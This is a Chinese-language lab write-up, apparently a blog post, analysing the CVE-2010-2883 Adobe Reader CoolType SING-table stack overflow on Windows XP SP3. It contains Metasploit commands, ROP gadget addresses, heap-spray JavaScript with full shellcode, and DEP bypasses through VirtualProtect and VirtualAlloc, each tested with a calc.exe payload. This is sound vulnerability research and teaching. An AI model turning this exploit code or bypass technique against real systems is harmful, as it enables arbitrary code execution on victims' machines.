动手实验 CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞

本文详细介绍了Adobe Reader中的一个栈溢出漏洞,通过静态分析和动态调试定位漏洞,利用msf生成exp进行动态测试。在Windows XP SP3环境下,探讨了三种绕过DEP的方法:ZwSetInformationProcess和SetProcessDEPPolicy(不适用于WinXP SP3)、VirtualProtect以及VirtualAlloc。实验结果显示,VirtualProtect和VirtualAlloc成功实现了绕过DEP并执行计算器程序。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


本文包括 简单的漏洞分析和比较 详细的exp动态调试,以及 自己动手写exp绕过DEP的实践

1.漏洞环境

环境备注
操作系统Windows XP SP3 Professional简体中文
漏洞软件漏洞软件版本号:9.3.4
漏洞模块CoolType.dll默认安装路径C:\Program Files\Adobe\Reader 9.0\Reader\CoolType.dll
pdf分析软件pdf分析软件

漏洞成因:Adobe Reader 和 Acrobat中的 Cooltype.dll 库在解析字体文件 SING 表中的 UniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的 PDF 文件就有可能导致执行任意代码

2.定位漏洞

根据描述,ida静态分析时,Alt+t搜索“SING”,会有多条记录,其中0x0803dd74为存在漏洞的引用附近
在这里插入图片描述
简单的说就是strcat没有校验长度,导致的栈溢出
在这里插入图片描述

3.动态调试

可以使用msf生成对应的pdf文件方便进行动态调试

msf5 > search cve-2010-2883

Matching Modules
================

   #  Name                                            Disclosure Date  Rank   Check  Description
   -  ----                                            ---------------  ----   -----  -----------
   0  exploit/windows/browser/adobe_cooltype_sing     2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
   1  exploit/windows/fileformat/adobe_cooltype_sing  2010-09-07       great  No     Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow


msf5 > use exploit/windows/fileformat/adobe_cooltype_sing
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf5 exploit(windows/fileformat/adobe_cooltype_sing) > exploit

[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /home/kali/.msf4/local/msf.pdf

动态调试在strcat下断点,复制完成后对复制进去的内容设置内存访问断点,经过很多次的F9之后到达访call [eax],其中eax为栈上的地址可以通过栈溢出进行控制。
在这里插入图片描述
第一个ROP为0x4A80CB38用于调整esp

add ebp,0x794
leave
retn

在这里插入图片描述
第二个ROP为0x4A82A714实现栈迁移到0x0c0c0c0c中

pop esp
retn

在这里插入图片描述
接下来的ROP由打开PDF时自动执行的js堆喷到0x0c0c0c0c中,依次调用了CreateFileA、CreateFileMappingA、MapViewOfFile、memcpy
利用PDFStreamDump提取并简化之后的js如下

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud7da%u82ba%ube98%ud9de%u2474%u5ef4%uc931%u31b1%uee83%u31fc%u1456%u5603%u7a96%u224b%uf87e%udbb4%u9d7e%u3e3d%u9d4f%u4a5a%u2dff%u1e28%uc6f3%u8b7c%uab80%ubca8%u0121%uf38f%u3ab2%u92f3%u4130%u7520%u8a09%u7435%uf74e%u24b4%u7307%ud96a%uc92c%u52b7%udf7e%u87bf%ude36%u19ee%ub94d%u9b30%ub182%u8378%ufcc7%u3833%u8a33%ue8c5%u730a%ud569%u86a3%u1173%u7903%u6b06%u0470%ua811%ud20b%u2b94%u91ab%u900f%u754a%u53c9%u3240%u3c9d%uc544%u3772%u4e70%u9875%u14f1%u3c52%uce5a%u65fb%ua106%u7504%u1ee9%ufda1%u4a07%u5fd8%u8d4d%uda6e%u8d23%ue570%ue613%u6e41%u71fc%ua55e%u8eb9%ue414%u06eb%u7cf1%u4aae%uab02%u72ec%u5e81%u808c%u2a99%ucd89%uc61d%u5ee3%ue8c8%u5e50%u8ad9%ucc37%u6281%u74d2%u7b23' );
var nop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (nop.length + 20 + 8 < 65536)
 nop+=nop;
d = nop.substring(0, (0x0c0c-0x24)/2);
d += shellcode;
d += nop;
e = d.substring(0, 65536/2);
while(e.length < 0x80000)
 e += e;
h = e.substring(0, 0x80000 - (0x1020-0x08) / 2);
var slide = new Array();
for (i=0;i<0x1f0;i++)
 slide[i]=h+"s";

调用CreateFileA,创建一个名叫”iso88591”的文件

0C0C0C28   4A8522C8  |FileName = "iso88591"
0C0C0C2C   10000000  |Access = GENERIC_ALL
0C0C0C30   00000000  |ShareMode = 0
0C0C0C34   00000000  |pSecurity = NULL
0C0C0C38   00000002  |Mode = CREATE_ALWAYS
0C0C0C3C   00000102  |Attributes = HIDDEN|TEMPORARY
0C0C0C40   00000000  \hTemplateFile = NULL

在这里插入图片描述
调用CreateFileMappingA,创建文件内存映射,调用CreateFileMapping

0C0C0C6C   0000013C  |hFile = 0000013C (window)
0C0C0C70   00000000  |pSecurity = NULL
0C0C0C74   00000040  |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78   00000000  |MaximumSizeHigh = 0x0
0C0C0C7C   00010000  |MaximumSizeLow = 0x10000
0C0C0C80   00000000  \MapName = NULL

在这里插入图片描述
调用MapViewOfFile

0C0C0CAC   0000021C  |hMapObject = 0000021C
0C0C0CB0   00000022  |AccessMode = 0x22
0C0C0CB4   00000000  |OffsetHigh = 0x0
0C0C0CB8   00000000  |OffsetLow = 0x0
0C0C0CBC   00010000  \MapSize = 10000 (65536.)

在这里插入图片描述
调用memcpy,将shellcode复制到开辟的空间中,最后跳转到shellcode执行。
在这里插入图片描述

4.分析msf生成脚本

kali中脚本在/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb中
主要分为3步:

  1. make_ttf()生成ttf
  2. make_js()生成堆喷的js
  3. make_pdf()和file_create()生成最后的pdf文件

在这里插入图片描述

4.1make_ttf

分为两个部分:

  • 第一部分为创建SING Table的固定内容。
  • 第二部分为设置两个ROP地址。0x4a82a714地址的pop esp/ret执行之后进入0x0c0c0c0c堆喷的rop链中执行代码

在这里插入图片描述

4.2 make_js

第一步构建栈中的需要的rop链
在这里插入图片描述
组装payload并返回js堆喷代码
在这里插入图片描述

5.实现自己的shellcode绕过DEP

实践一下《0day2》中讲的绕过DEP的几种方法

5.1 利用ZwSetInformationProcess和SetProcessDEPPolicy关闭DEP(win xp sp3不能用)

利用方法:

  1. 利用mov al,1#retn来设置eax。利用!mona find -type bin “\xb0\x01\xc3”找到需要的指令0x7c80c190
  2. 跳转到0x7c93cd24(win xp sp3中LdrpCheckNXCompatibility的绕过保护)关闭DEP。
  3. 跳转到shellcode执行
    在这里插入图片描述
    为了图方便(因为不会构造PDF)所以使用了msf中的rb文件为基础,只修改其中的make_js来测试方法
    在这里插入图片描述
    在xp sp3上并不能通过这个方法关闭DEP,继续运行将会报错

5.2 VirtualProtect绕过DEP

virtualProtect可以修改指定内存属性,可以修改shellcode所在内存为执行状态,进而绕过DEP。为了避免VirtualProtectEx修改栈中的shellcode在stack_data和真正的payload中间使用了一些滑块填充。

BOOL VirtualProtectEx(//0x7c801a61
  HANDLE hProcess,//-1表示本进程
	LPVOID lpAddress,//改变属性的内存起始地址0x0c0c0c0c
	DWORD dwSize,//shellcode内存空间大小0x1000
	DWORD flNewProtect,//内存的新属性类型0x40
	PDWORD lpfOldProtect//内存原始属性类型保存地址,某个可写地址
)

利用方法:

  1. 调用VirtualProtect或者VirtualProtectEx设置栈可执行(lpAddress为栈地址,lpfOldProtect为可写的地址)。这里是堆喷所以地址都可以设置为0x0c0c0c0c
  2. 利用jmp esp进入栈中执行shellcode
    在这里插入图片描述
    成功出现计算器
    在这里插入图片描述

5.3VirtualAlloc绕过DEP

virtualProtect函数可以申请一段可执行内存,再将shellcode复制到内存空间中执行,即可绕过dep的限制

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,//申请的地址
  [in]           SIZE_T dwSize,//申请空间大小
  [in]           DWORD  flAllocationType,//申请内存类型 0x1000
  [in]           DWORD  flProtect//内存的访问控制类型,如读写执行等权限0x40
);

利用方法

  1. 调用VirtualAllocEx(0x7c809b02)开辟一块空间比如0x3000
  2. memcpy将shellcode复制到开辟的空间
  3. 跳转0x3000执行shellcode
    在这里插入图片描述
    成功出现计算器
    在这里插入图片描述

6.总结

  1. 在堆喷中布置ROP会比在栈溢出中布置要简单很多(因为不用考虑0x00等字符不能出现,所以可以把参数全部布置上去)
  2. 没有特别详细的讲为什么栈溢出能触发到call [eax]。我猜是覆盖到了什么函数指针。
  3. 除了《0day2》上面讲到的一些函数还有其他函数可以绕过DEP
    在这里插入图片描述
    参考:
    《0day2》
    《漏洞战争》
    https://bbs.pediy.com/thread-257172.htm
    https://www.matteomalvica.com/minutes/exploit_dev/#dep
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值